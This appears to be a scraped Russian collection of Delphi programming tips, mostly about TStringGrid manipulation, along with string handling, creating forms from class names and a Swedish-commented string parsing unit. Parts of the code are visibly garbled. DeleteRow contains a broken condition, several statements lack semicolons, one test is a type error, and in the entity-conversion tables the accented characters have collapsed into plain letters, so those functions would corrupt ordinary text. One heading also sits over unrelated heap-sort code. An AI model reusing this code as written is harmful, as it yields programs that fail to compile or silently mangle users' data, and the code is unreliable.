if (ToIndex <= RowCount) then
begin
RowCount := RowCount + 1;
xx := RowCount - 1;
for yy := 0 to ColCount - 1 do
begin
Cells[yy, xx] := ' ';
ObJects[yy, xx] := nil;
end;
if ToIndex < RowCount - 1 then
MoveRow(RowCount - 1, ToIndex);
end
else
MessageBeep(0)
else
MessageBeep(0);
end;
procedure DeleteRow(Sender: TStringGrid; FromIndex: Longint);
begin
if FromIndex > l;
= 0 then
with TCSGrid(Sender) do
if (RowCount > 0) and (FromIndex < RowCount) then
begin
if (FromIndex < RowCount - 1) then
MoveRow(FromIndex, RowCount - 1);
Rows[RowCount - 1].Clear;
RowCount := RowCount - 1;
end
else
MessageBeep(0)
else
MessageBeep(0);
end;
procedure InsertColumn(Sender: TStringGrid; ToIndex: Longint);
var
xx, yy: Integer;
begin
if ToIndex >= 0 then
with TCSGrid(Sender) do
if (ToIndex <= ColCount) then
begin
ColCount := ColCount + 1;
xx := ColCount - 1;
Cols[xx].BeginUpdate;
for yy := 0 to RowCount - 1 do
begin
Cells[xx, yy] := ' ';
ObJects[xx, yy] := nil;
end;
Cols[xx].EndUpdate;
if ToIndex < ColCount - 1 then
MoveColumn(ColCount - 1, ToIndex);
end
else
MessageBeep(0)
else
MessageBeep(0);
end;
procedure DeleteColumn(Sender: TStringGrid; FromIndex: Longint);
begin
if FromIndex >= 0 then
with TCSGrid(Sender) do
if (ColCount > 0) and (FromIndex < ColCount) then
begin
if (FromIndex < ColCount - 1) then
MoveColumn(FromIndex, ColCount - 1);
Cols[ColCount - 1].Clear;
ColCount := ColCount - 1;
end
else
MessageBeep(0)
else
MessageBeep(0);
end;
end.
|
Сортировка StringGrid с целыми значения.
program H;
uses WinCrt, SysUtils;
const
min = 10;
max = 13;
maxHeap = 1 shl max;
type
heap = array [1..maxHeap] of integer;
heapBase = ^heap;
var
currentSize, heapSize: integer;
A: heapBase;
procedure SwapInts (var a, b: integer);
var
t: integer;
begin
t := a;
a := b;
b := t
end;
procedure InitHeap (size: integer);
var
i: integer;
begin
heapSize := size;
currentSize := size;
Randomize;
for i := 1 to size do
A^[i] := Random(size) + 1;
end;
procedure Heapify (i: integer);
var
left, right, largest: integer;
begin
largest := i;
left := 2 * i;
right := left + 1;
if left <= heapSize then
if A^[left] > A^[i] then
largest := left;
if right <= heapSize then
if A^[right] > A^[largest] then
largest := right;
if largest <> i then
begin
SwapInts (A^[largest], A^[i]);
Heapify (largest)
end
end;
procedure BuildHeap;
var
i: integer;
begin
for i := heapSize div 2 downto 1 do
Heapify (i)
end;
procedure HeapSort;
var
i: integer;
begin
BuildHeap;
for i := currentSize downto 2 do
begin
SwapInts (A^[i], A^[1]);
dec (heapSize);
Heapify (1)
end
end;
type
TAvgTimes = array [min..max] of TDateTime;
var
sTime, eTime, tTime: TDateTime;
i, idx, size: integer;
avgTimes: TAvgTimes;
begin
tTime := 0;
i := min;
size := 1 shl min;
new (A);
while i <= max do
begin
for idx := 1 to 10 do
begin
InitHeap (size);
sTime := Time;
HeapSort;
eTime := Time;
tTime := tTime + (eTime - sTime)
end;
avgTimes[i] := tTime / 10.0;
inc (i);
size := size shl 1;
end;
end.
|
StringGrid как DBGrid.
Ну это может выглядеть приблизительно так (возможно нужна некоторая доработка, написал от руки, не проверяя):
table.first;
row := 0;
grid.rowcount := table.recordCount;
while not table.eof do
begin
for i := 0 to table.fieldCount-1 do
grid.cells[i,row] := table.fields[i].asString;
inc (row);
table.next;
end;
|
У меня тоже имееются свои причины использования TStringGrid. Вот мой код, который загружает данные из отфильтрованной таблицы. Он не очень изящен, т.к. реально является лишь черновиком. У меня это работает, а большего мне и не нужно. Работает очень быстро, даже в случае сотни загруженных колонок. Есть много ссылок на внешние переменные. Надеюсь что они не слишком заумные.
procedure TformLookupDB.FillCells;
var
Row, i: INTEGER;
w: INTEGER;
grid: TStringGrid;
begin
doGrid.RowCount := 0;
if not ASSIGNED(fDB) then
EXIT;
Row := 0;
for i := LOW(fColWidths) to HIGH(fColWidths) do
fColWidths[i] := 100
// Данный временный объект-сетка используется для предохранения от огромного
// количества подразумеваемых событий Application.ProcessMessages,
// инициируемых базой данных, и вызывающих противное моргание объекта
// doGrid. Итак, мы загружаем данные в объект-сетку
// и затем копируем их в стобцы, начиная с верхней части.
grid := TStringGrid.Create(Self);
grid.Visible := FALSE;
with fDB do
try
grid.ColCount := fFields.Count;
DisableControls;
// Фильтр был установлен с помощью свойства Self.Filter
First;
while not EOF do
try
grid.RowCount := Row + 1;
for i := 0 to grid.ColCount - 1 do
begin
grid.Cells[i, Row] :=
FieldByName(fFields.Strings[i]).AsString
w := doGrid.Canvas.TEXTWIDTH(grid.Cells[i,
Row]);
if fColWidths[i] < w then
fColWidths[i] := w;
end
INC(Row);
finally
Next;
end
finally
doGrid.RowCount := grid.RowCount;
doGrid.ColCount := grid.ColCount;
for i := 0 to grid.ColCount - 1 do
begin
doGrid.Cols[i] := grid.Cols[i];
doGrid.ColWidths[i] := fColWidths[i] + 4
end
grid.Free;
EnableControls
end
end;
|
Ограничение длины поля TStringGrid.
Вероятно, это не очень эффективное решение, но оно будет работать: поместите следующий код в обработчик события onKeyPress:
if key <> #8 then
begin {допускаем backspace/Del}
len := length(grid.cells[grid.col, grid.row]);
if len >= ваша желаемая максимальная длина then
begin
messageBeep (0);
key := #0;
end;
end;
|
После получения вышеуказанным кодом строки s проверяется условие и,
if Length(s) > maxlengthoffield then exit; |
Перетащить колонки и строки в StringGrid.
| В процессе социологического опроса, проведенного в корпорации "Мелкий-Мягкий", выяснено, что: 99% сотрудников корпорации любят все большое и негибкое. |
{
The user can move rows and columns of a StringGrid with the mouse.
Can it also be done by code?
In the help for TCustomGrid you can see the methods MoveColumn and MoveRow,
but they are hidden in TStringGrid.
We can make them accessible again by subclassing TStringGrid and
declaring these methods as public:
}
type
TStringGridHack = class(TStringGrid)
public
procedure MoveColumn(FromIndex, ToIndex: Longint);
procedure MoveRow(FromIndex, ToIndex: Longint);
end;
{
The implementation of these methods simply consists of invoking the
corresponding method of the ancestor:
}
procedure TStringGridHack.MoveColumn(FromIndex, ToIndex: Integer);
begin
inherited;
end;
procedure TStringGridHack.MoveRow(FromIndex, ToIndex: Integer);
begin
inherited;
end;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
TStringGridHack(StringGrid1).MoveColumn(1, 3);
end;
|
Множественный выбор в TStringGrid.
То же самое я проделывал и с DBGrid. (Пока не реализован Shift-MouseDown, только Ctrl-MouseDown). Для TStringGrid вам нужно выполнить следующие шаги: Заполните сетку, связывая Objects[0, ARow] с некоторым логическим объектом типа:
TBooleanObject = class(TObject) public Flag: Boolean; end; |
Правое выравнивание ячеек TStringGrid.

Я полагаю, это лучший метод:
procedure TForm1.GridSumaDrawCell(Sender: TObject; ACol, ARow: Longint;
ARect: TRect; State: TGridDrawState);
var
dx: integer;
begin
with (Sender as TStringGrid).Canvas do
begin
Font := GridSuma.Font;
Pen.Color := clBlack;
if (ACol = 0) or (ARow = 0) then
begin
{ Рисуем заголовок }
Brush.Color := clBtnFace;
FillRect(ARect);
TextOut(ARect.Left, ARect.Top, GridSuma.Cells[ACol, ARow])
end
else
begin
{ Рисуем ячейку с правым выравниванием }
Brush.Color := clWhite;
FillRect(ARect);
dx := TextWidth(GridSuma.Cells[ACol, ARow]) + 2;
TextOut(ARect.Right - dx, ARect.Top, GridSuma.Cells[ACol, ARow])
end
end
end;
|
Сменить цвет выделения в StringGrid.

procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
const
SelectedColor = Clblue;
begin
if (state = [gdSelected]) then
with TStringGrid(Sender), Canvas do
begin
Brush.Color := SelectedColor;
FillRect(Rect);
TextRect(Rect, Rect.Left + 2, Rect.Top + 2, Cells[aCol, aRow]);
end;
end;
|
Фокус ячейки TStringGrid.
Автор: Simon
procedure SetGridFocus(SGrid: TStringGrid; r, c: integer);
var
SRect: TGridRect;
begin
with SGrid do
begin
SetFocus; {Передаем фокус сетке}
Row := r; {Устанавливаем Row/Col}
Col := c;
SRect.Top := r; {Определяем выбранную область}
SRect.Left := c;
SRect.Bottom := r;
SRect.Right := c;
Selection := SRect; {Устанавливаем выбор}
end;
end;
|
Для вызова процедуры:
SetGridFocus(StringGrid1, 10, 2); |
Надеюсь что помог вам.
Текст в ячейке StringGrid если не помещается переносится на следующую ячейку.
Сначала нужно обработать событие OnDrawCell компонента TStringGrid:
procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
var
i, x, y: Integer;
begin
if gdFixed in State then
Exit;
if ARow > 1 then
Exit;
{Draw row 1 with text from cell 1,1 spanning all cells in the row}
with sender as TStringGrid do
begin
{Extend rect to include grid line on right, if not last cell in row}
if aCol then
Rect.Right := Rect.Right + GridlineWidth;
{Figure out where the text of the first cell would start
relative to the current cells rect}
y := Rect.Top + 2;
x := Rect.Left + 2;
for i:= 1 to aCol - 1 do
x := x - ColWidths[i] - GridlineWidth;
{Paint cell pale yellow}
Canvas.Brush.Color := $7FFFFF;
Canvas.Brush.Style := bsSolid;
Canvas.FillRect( Rect );
{Paint text of cell 1,1 clipped to current cell}
Canvas.TextRect( Rect, x, y, Cells[1, 1] );
end;
end;
|
По созданию окна изобразим следующее.
procedure TForm1.FormCreate(Sender: TObject);
var
i, k: Integer;
begin
with StringGrid1 do
begin
cells[1, 1] := 'A rather long line which will span cells';
for i:= 1 to colcount-1 do
for k:= 2 to rowcount -1 do
cells[i,k] := Format( 'Cell[%d, %d]', [i, k]);
end;
end;
|
Сохранить StringGrid в Excel файле.
function SaveAsExcelFile(stringGrid: TstringGrid; FileName: string): Boolean;
const
xlWBATWorksheet = -4167;
var
Row, Col: Integer;
GridPrevFile: string;
XLApp, Sheet: OLEVariant;
begin
Result := False;
XLApp := CreateOleObject('Excel.Application');
try
XLApp.Visible := False;
XLApp.Workbooks.Add(xlWBatWorkSheet);
Sheet := XLApp.Workbooks[1].WorkSheets[1];
Sheet.Name := 'My Sheet Name';
for col := 0 to stringGrid.ColCount - 1 do
for row := 0 to stringGrid.RowCount - 1 do
Sheet.Cells[row + 1, col + 1] := stringGrid.Cells[col, row];
try
XLApp.Workbooks[1].SaveAs(FileName);
Result := True;
except
// Error ?
end;
finally
if not VarIsEmpty(XLApp) then
begin
XLApp.DisplayAlerts := False;
XLApp.Quit;
XLAPP := Unassigned;
Sheet := Unassigned;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if SaveAsExcelFile(stringGrid1, 'c:\MyExcelFile.xls') then
ShowMessage('stringGrid saved!');
end;
{*************************************************}
// Reiner Schlay http://www.assu-assist.nl/
function RefToCell(ARow, ACol: Integer): string;
begin
Result := Chr(Ord('A') + ACol - 1) + i2s(ARow);
end;
procedure StringGridToExcel(AGrid: TstringGrid);
var
i, j: Integer;
Excel: Application_;
Book: Workbook;
Sheet: _WorkSheet;
Data: OLEVariant;
begin
Data := VarArrayCreate([1, AGrid.RowCount, 1, AGrid.ColCount],
varVariant);
for i := 0 to AGrid.ColCount - 1 do
for j := 0 to AGrid.RowCount - 1 do
Data[j + 1, i + 1] := AGrid.Cells[i, j];
Excel := CoApplication_.Create;
Book := Excel.WorkBooks.Add(EmptyParam, 0);
Sheet := Excel.Sheets.Add(EmptyParam, EmptyParam, 1,
xlWorksheet, 0) as _WorkSheet;
Sheet.Range[RefToCell(1, 1), RefToCell(AGrid.RowCount,
AGrid.ColCount)].Value := Data;
Excel.Visible[0] := True;
Excel.UserControl := True;
end;
|
StringGrid без выделенной ячейки.
Автор: Jeff Fisher Я пытаюсь показать StringGrid без выделенной ячейки. Первая нефиксированная ячейка всегда имеет состояние "инвертированного" цвета. Я не хочу позволить пользователю редактировать сетку, но эта выделенная ячейка производит впечатление того, что сетка имеет возможность редактирования...Вам необходимо создать обработчик события OnDrawCell. Это легче чем вы думаете. Вот образец кода, который сделает вас счастливым:
procedure TForm.sgrDrawCells(Sender: TObject; Col, Row: Longint; Rect: TRect;
State: TGridDrawState);
var
ACol: longint absolute Col;
ARow: longint absolute Row;
Buf: array[byte] of char;
begin
if State = gdFixed then
Exit;
with sgrGrid do
begin
Canvas.Font := Font;
Canvas.Font.Color := clWindowText;
Canvas.Brush.Color := clWindow;
Canvas.FillRect(Rect);
StrPCopy(Buf, Cells[ACol, ARow]);
DrawText(Canvas.Handle, Buf, -1, Rect,
DT_SINGLELINE or DT_VCENTER or DT_NOCLIP or DT_LEFT);
end;
end;
|
Манипуляция словами в TStringGrid.
procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char);
var
s: string;
c: Byte;
begin
with StringGrid1 do
s := Cells[Col, Row];
if Length(s) = 0 then
begin
if Key in ['a'..'z'] then
begin
c := Ord(Key) - 32;
Key := Chr(c);
end;
exit;
end;
if s[Length(s)] = ' ' then
if Key in ['a'..'z'] then
begin
c := Ord(Key) - 32;
Key := Chr(c);
end;
end;
|
В обработчике события onKeyPress сделайте следующее:
if length(field.text) = 0 then key := upCase (key); |
Копирование StringList в Memo-поле и обратно.
Нижеприведенный код иллюстрирует копирование TStringList в TMemoField и обратно:
procedure TForm1.ButtonClick(Sender: TObject);
var
MemFld: TMemoField;
begin
MemFld := Table1.FieldByName(DBMemo1.DataField) as TMemoField;
if Sender = Button1 then
MemFld.Assign(StrList)
else
if Sender = Button2 then
StrLst.Assign(MemFld);
end;
|
Примечание: Table1 должна находиться в режиме редактирования перед нажатием кнопки Button1.
Обновление картинки в ячейке StringGrid.
Автор: SottNick.
Если в таблице вы используете событие OnDrawCell для помещения в ячейку рисунка, причем различного, в зависимости, например, от соответствующего значения в двумерном массиве, и вам надо, чтобы после изменения значения в массиве обновилось изображение (Refresh не подходит, т.к. будет мелькать), то измените значение у ячейки (DrawGrid не годится):
StringGrid1.Cells[i,j]:=''; |
Или.
StringGrid1.Cells[i,j]:=StringGrid1.Cells[i,j]; |
Если там что-то хранится.
String и PChar.
Автор: Den is ComВ 32-битном Дельфи String и PChar это одно и тоже. Старый String из Дельфи 1 - это shortstring. Используйте прямое преобразование PChar(String_variable) - это сохранит память при использовании функций WIN32.
Как преобразовать String в Binary и наоборот.
Автор: Rem
function BinStrToByte(a_sBinStr: string): byte; var i: integer; begin Result := 0; for i := 1 to length(a_sBinStr) do Result := (Result shl 1) or byte(a_sBinStr[i] = '1'); end; function ByteToBinStr(a_bByte: byte): string; var i: integer; begin SetLength(Result, 8); for i := 8 downto 1 do begin Result[i] := chr($30 + (a_bByte and 1)); a_bByte := a_bByte shr 1; end; end; // Примечание: вторая функция использует тот факт, // что в таблице ANSI коды '0' = $30 и '1' = $31 |
Создание формы на основе строки.
Обзор В данном документе рассказывается о том, как в Dе1рhi можно создать экземпляр формы на основе строки, содержащей имя типа. Код примера прилагается. На кого расчитан данный документ? На любого программиста, имеющего начальные знания для работы с Delphi. Имеет отношение к любой версии Delphi.Чтобы можно было создать экземпляр формы на основе строки, содержащей имя типа, вы должны в первую очередь зарегистрировать данный тип в Delphi. Это выполняется функцией "RegisterClass". RegisterClass описан следующим образом:
procedure RegisterClass(AClass: TPersistentClass); |
После регистрации класса, вы можете найти указатель на тип, передавая строку в FindClass. Функция возвратит ссылку на класс, которую можно использовать для создания формы. Небольшой поясняющий пример:
procedure TForm1.Button2Click(Sender: TObject);
var
b : TForm;
f : TFormClass;
begin
f := TFormClass(findClass('Tform2'));
b := f.create(self);
b.show;
end;
|
В первой форме разместите поле редактирования и кнопку. Удалите все формы, кроме главной, из списка AutoCreate. Наконец, скопируйте приведенный ниже код в unit1, он позволит вам создавать форму по имени типа класса, введенному в поле редактирования.
unit Unit1;
interface
uses
Unit2, Unit3, Unit4, Unit5, Windows, Messages,
SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterClass(Tform2);
RegisterClass(Tform3);
RegisterClass(Tform4);
RegisterClass(Tform5);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
f: Tformclass;
begin
f := tformclass(findClass(edit1.text));
with f.create(self) do
show;
end;
|
Строковая нумерация.
Автор: Peter Below Просто объявите перечислимый тип, информацию о котором можно получить во время выполнения программы, и создайте класс, который использует данный тип в published-свойстве.ClassInfo - метод класса, поэтому вы можете его использовать вместо экземпляра объекта. Но прежде вам необходимо заиметь этот класс, иначе никакого RTTI...
{$Z+}
type
TMyEnum = (one, two, three);
TEnumClass = class(TComponent)
private
FEnum: TMYEnum;
published
property Enum: TMyEnum read FEnum;
end;
procedure TForm1.BtnTestClick(Sender: TObject);
var
pOneName: PString;
PropInfo: PPropInfo;
begin
PropInfo := GetPropInfo(TEnumClass.ClassInfo, 'ENUM');
pOneName := GetEnumName(PropInfo^.PropType, Ord(One));
if pOneName <> nil then
ShowMessage(pOneName^)
else
ShowMessage('Nil!');
end;
|
Черная магия <G>!
Чем отличается тип String в Delphi2 и выше от аналогичного в Delphi1.
Автор: Nomadic.
B D2 и выше на самом деле используется тип LongString вместо String, а старый тип теперь обзывается ShortString (о чем, кстати, написано в help). Из того же help можно узнать, что указатель LongString указывает на nullterminated string и потому возможно обычное приведение типа LongString к PChar (о чем я и написал), которое сводится просто к смене вывески. Там же можно узнать, что длина строки хранится в dword перед указателем. Есть также намек на то, что при присваивании другой строке информация не копируется, а увеличивается только счетчик ссылок. Более подробную информацию можно почерпнуть из system.pas:
type StrRec = record allocSiz: Longint; refCnt: Longint; length: Longint; end; |
Теперь о типе PString. На самом деле переменные этого типа указывают на такие же значения, как и LongString, но для переменных этого типа для всех операций по созданию/копированию/удалению нужно помнить об этих самых счетчиках ссылок. Иногда без этого типа не обойтись. Вот операции для этого типа (sysutils.pas):
{ String handling routines }
{ NewStr allocates a string on the heap.
NewStr is provided for backwards compatibility only. }
function NewStr(const S: string): PString;
{ DisposeStr disposes a string pointer that was
previously allocated using NewStr.
DisposeStr is provided for backwards compatibility only. }
procedure DisposeStr(P: PString);
{ AssignStr assigns a new dynamically allocated
string to the given string pointer.
AssignStr is provided for backwards compatibility only. }
procedure AssignStr(var P: PString; const S: string);
|
Можно отметить, что явно задать использование long strings можно декларацией.
var sMyLongString: AnsiString; // long dinamically allocated string sMyWideString: WideString; // wide string (UNICODE) sMyShortString1: ShortString; // old-style string sMyShortString2: String[255]; // old-style string, no more than 255 chars |
Строка как объект StringList.
Автор: Robert WittigВы можете создать простой объект, инкапсулирующий строку:
Type
TStrObj = Class ( tObject )
Data : String;
End;
|
Затем вы могли бы делать следующее:
With ListBox1 Do
Begin
AddObject(Table1.Fields[0].AsString, TStrObject.Create );
{
Объект добавляется в конец списка, поэтому для его
чтения установите индекс равным Count-1
}
TStrObj(Objects[Count-1]).Data := Table1.Fields[1].AsString);
End;
|
Теперь ваша обязанность заключается в том, что при удалении объекта из списка, вам необходимо также удалять связанный с ним объект:
{ для удаления элемента с Index I}
With ListBox1 Do
Begin
Objects[I].Free;
Delete(I);
End;
|
Функции для парсинга строк.
Здесь представлен модуль, в котором я разметил много методов для подобной работы. Некоторые функции поименованы по-шведски, но, может быть, Вы сможете понять, что они делают.
Вам потребуется один из методов, называющийся stringreplaceall, который принимает при параметра - исходную строку, подстроку для поиска и подстроку для замены, и возвращает измененную строку. Будьте осторожны, если Вы меняется одну подстроку на другую, чьей частью является первая. Вы должны делать это в два прохода, или Вы попадете в бесконечный цикл.
Так, если Вы имеете текст, содержащий слово Joe, и Вы хотите все его вхождения изменить на Joey, то Вы должны сделать сперва нечто похожее на:
text := stringreplaceall(text, 'Joe', 'Joeey'); |
И потом:
text := stringreplaceall(text, 'Joeey', 'Joey'); |
Листинг:
unit sparfunc;
interface
uses
sysutils, classes;
function antaltecken (orgtext,soktext : string) : integer;
function beginsWith (text,teststreng : string):boolean;
function endsWith (text,teststreng : string):boolean;
function hamtastreng (text,strt,slut : string):string;
function hamtastrengmellan (text,strt,slut : string):string;
function nastadelare (progtext : string):integer;
function rtf2sgml (text : string) : string;
function sgml2win(text : string) : string;
function sgml2mac(text : string) : string;
function sgml2rtf(text : string) : string;
function sistamening(text : string) : string;
function stringnthfield (text,delim : string; vilken : integer) : string;
function stringreplace (text,byt,mot : string) : string;
function stringreplaceall (text,byt,mot : string) : string;
function text2sgml (text : string) : string;
procedure SurePath (pathen : string);
procedure KopieraFil (infil,utfil : string);
function LasInEnTextfil (filnamn : string) : string;
implementation
function LasInEnTextfil (filnamn : string) : string;
var
infil : textfile;
temptext, filtext : string;
begin
filtext := '';
//Oppna angiven fil och las in den
try
assignfile (infil,filnamn); //Koppla en textfilsvariabel till pathname
reset (infil); //Oppna filen
//Sa lange vi inte natt slutet
while not eof(infil) do
begin
readln (infil,temptext); //Las in en rad
filtext := filtext+temptext; //Lagg den till variabeln SGMLTEXT
end;
finally
closefile (infil); //Stang filen
end;
result := filtext;
end;
procedure KopieraFil (infil,utfil : string);
var
InStream : TFileStream;
OutStream : TFileStream;
begin
InStream := TFileStream.Create(infil,fmOpenRead);
try
OutStream := TFileStream.Create(utfil,fmOpenWrite or fmCreate);
try
OutStream.CopyFrom(InStream,0);
finally
OutStream.Free;
end;
finally
InStream.Free;
end;
end;
procedure SurePath (pathen : string);
var
temprad,del1 : string;
antal : integer;
begin
antal := antaltecken (pathen,'\');
if antal < 3 then
createdir(pathen)
else
begin
if pathen[length(pathen)] < > '\' then
pathen := pathen+'\';
pathen := stringreplace(pathen,'\','/');
del1 := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,del1,'');
del1 := stringreplace(del1,'/','\');
createdir (del1);
while pathen < > '' do
begin
temprad := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,temprad,'');
del1 := del1+ temprad;
temprad := '';
createdir(del1);
end;
end;
end;
function antaltecken (orgtext,soktext : string) : integer;
var
i,traffar,soklengd : integer;
begin
traffar := 0;
soklengd := length(soktext);
for i := 1 to length(orgtext) do
if soktext = copy(orgtext,i,soklengd) then
traffar := traffar +1;
result := traffar;
end;
function nastadelare (progtext : string):integer;
var
i,j : integer;
begin
i := pos('.',progtext);
j := pos('!',progtext);
if (j < i) and (j > 0) then
i := j;
j := pos('!',progtext);
if (j < i) and (j > 0) then
i := j;
j := pos('?',progtext);
if (j < i) and (j > 0) then
i := j;
result := i;
end;
function stringnthfield (text,delim : string; vilken : integer) : string;
var
start,slut,i : integer;
temptext : string;
begin
start := 0;
if vilken > 0 then
begin
temptext := text;
if vilken = 1 then
begin
start := 1;
slut := pos (delim,text);
end
else
begin
for i:= 1 to vilken -1 do
begin
start := pos(delim,temptext)+length(delim);
temptext := copy(temptext,start,length(temptext));
end;
slut := pos (delim,temptext);
end;
if start > 0 then
begin
if slut = 0 then
slut := length(text);
result := copy (temptext,1,slut-1);
end
else
result := text;
end
else
result := text;
end;
function StringReplaceAll (text,byt,mot : string ) :string;
{Funktion for att byta ut alla forekomster av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.
Om byt finns i mot maste vi ga via en temporar variant!!!}
var
plats : integer;
begin
while pos(byt,text) > 0 do
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;
function StringReplace (text,byt,mot : string ) :string;
{Funktion for att byta ut den forsta forekomsten av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.}
var
plats : integer;
begin
if pos(byt,text) > 0 then
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;
function hamtastreng (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats > 0 then
begin
text := copy (text,stplats,length(text));
slutplats := pos(slut,text);
if slutplats > 0 then
resultat := copy(text,1,slutplats-1);
end;
result := resultat;
end;
function hamtastrengmellan (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats > 0 then
begin
text := copy (text,stplats+length(strt),length(text));
slutplats := pos(slut,text);
if slutplats > 0 then
resultat := copy(text,1,slutplats-1);
end;
result := resultat;
end;
function endsWith (text,teststreng : string):boolean;
{Kollar om en strang slutar med en annan strang.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd > testlngd then
begin
kollstreng := copy (text,(textlngd+1)-testlngd,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;
function beginsWith (text,teststreng : string):boolean;
{Funktion for att kolla om text borjar med teststreng.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd > = testlngd then
begin
kollstreng := copy (text,1,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;
function sistamening(text : string) : string;
//Funktion for att ta fram sista meningen i en strang. Soker pa !?.
var
i:integer;
begin
i :=length(text)-1;
while (copy(text,i,1) < > '.') and (copy(text,i,1) < > '!')
and (copy(text,i,1) < > '?') do
begin
dec(i);
if i =1 then
break
end;
if i > 1 then
result := copy(text,i,length(text))
else
result := '';
end;
function text2sgml(text : string) : string;
{Funktion som byter ut alla ovanliga tecken mot entiteter.
Den fardiga texten returneras.}
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'a','å');
text := stringreplaceall (text,'A','Å');
text := stringreplaceall (text,'a','ä');
text := stringreplaceall (text,'A','Ä');
text := stringreplaceall (text,'a','á');
text := stringreplaceall (text,'A','Á');
text := stringreplaceall (text,'a','à');
text := stringreplaceall (text,'A','À');
text := stringreplaceall (text,'?','æ');
text := stringreplaceall (text,'?','&Aelig;');
text := stringreplaceall (text,'A','Â');
text := stringreplaceall (text,'a','â');
text := stringreplaceall (text,'a','ã');
text := stringreplaceall (text,'A','Ã');
text := stringreplaceall (text,'c','ç');
text := stringreplaceall (text,'C','Ç');
text := stringreplaceall (text,'e','é');
text := stringreplaceall (text,'E','É');
text := stringreplaceall (text,'e','ê');
text := stringreplaceall (text,'E','Ê');
text := stringreplaceall (text,'e','ë');
text := stringreplaceall (text,'E','Ë');
text := stringreplaceall (text,'e','è');
text := stringreplaceall (text,'E','È');
text := stringreplaceall (text,'i','î');
text := stringreplaceall (text,'I','Î');
text := stringreplaceall (text,'i','í');
text := stringreplaceall (text,'I','Í');
text := stringreplaceall (text,'i','ì');
text := stringreplaceall (text,'I','Ì');
text := stringreplaceall (text,'i','ï');
text := stringreplaceall (text,'I','Ï');
text := stringreplaceall (text,'n','ñ');
text := stringreplaceall (text,'N','Ñ');
text := stringreplaceall (text,'o','ö');
text := stringreplaceall (text,'O','Ö');
text := stringreplaceall (text,'o','ò');
text := stringreplaceall (text,'O','Ò');
text := stringreplaceall (text,'o','ó');
text := stringreplaceall (text,'O','Ó');
text := stringreplaceall (text,'o','ø');
text := stringreplaceall (text,'O','Ø');
text := stringreplaceall (text,'O','Ô');
text := stringreplaceall (text,'o','ô');
text := stringreplaceall (text,'o','õ');
text := stringreplaceall (text,'O','Õ');
text := stringreplaceall (text,'u','ü');
text := stringreplaceall (text,'U','Ü');
text := stringreplaceall (text,'u','ú');
text := stringreplaceall (text,'U','Ú');
text := stringreplaceall (text,'U','Ù');
text := stringreplaceall (text,'u','ù');
text := stringreplaceall (text,'u','û');
text := stringreplaceall (text,'U','Û');
text := stringreplaceall (text,'y','ý');
text := stringreplaceall (text,'Y','Ý');
text := stringreplaceall (text,'y','ÿ');
text := stringreplaceall (text,'|',' ');
result := text;
end;
function sgml2win(text : string) : string;
{Funktion som ersatter alla entiteter mot deras tecken i
windows. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'á','a');
text := stringreplaceall (text,'Á','A');
text := stringreplaceall (text,'æ','?');
text := stringreplaceall (text,'&Aelig;','?');
text := stringreplaceall (text,'à','a');
text := stringreplaceall (text,'À','A');
text := stringreplaceall (text,'å','a');
text := stringreplaceall (text,'Å','A');
text := stringreplaceall (text,'ä','a');
text := stringreplaceall (text,'Ä','A');
text := stringreplaceall (text,'Â' ,'A');
text := stringreplaceall (text,'â' ,'a');
text := stringreplaceall (text,'ã','a');
text := stringreplaceall (text,'Ã','A');
text := stringreplaceall (text,'ç','c');
text := stringreplaceall (text,'Ç','C');
text := stringreplaceall (text,'é','e');
text := stringreplaceall (text,'É','E');
text := stringreplaceall (text,'è','e');
text := stringreplaceall (text,'È','E');
text := stringreplaceall (text,'ê' ,'e');
text := stringreplaceall (text,'Ê' ,'E');
text := stringreplaceall (text,'ë' ,'e');
text := stringreplaceall (text,'Ë' ,'E');
text := stringreplaceall (text,'î' ,'i');
text := stringreplaceall (text,'Î' ,'I');
text := stringreplaceall (text,'í','i');
text := stringreplaceall (text,'Í','I');
text := stringreplaceall (text,'ì','i');
text := stringreplaceall (text,'Ì','I');
text := stringreplaceall (text,'ï' ,'i');
text := stringreplaceall (text,'Ï' ,'I');
text := stringreplaceall (text,'ñ','n');
text := stringreplaceall (text,'Ñ','N');
text := stringreplaceall (text,'ò','o');
text := stringreplaceall (text,'Ò','O');
text := stringreplaceall (text,'ó','o');
text := stringreplaceall (text,'Ó','O');
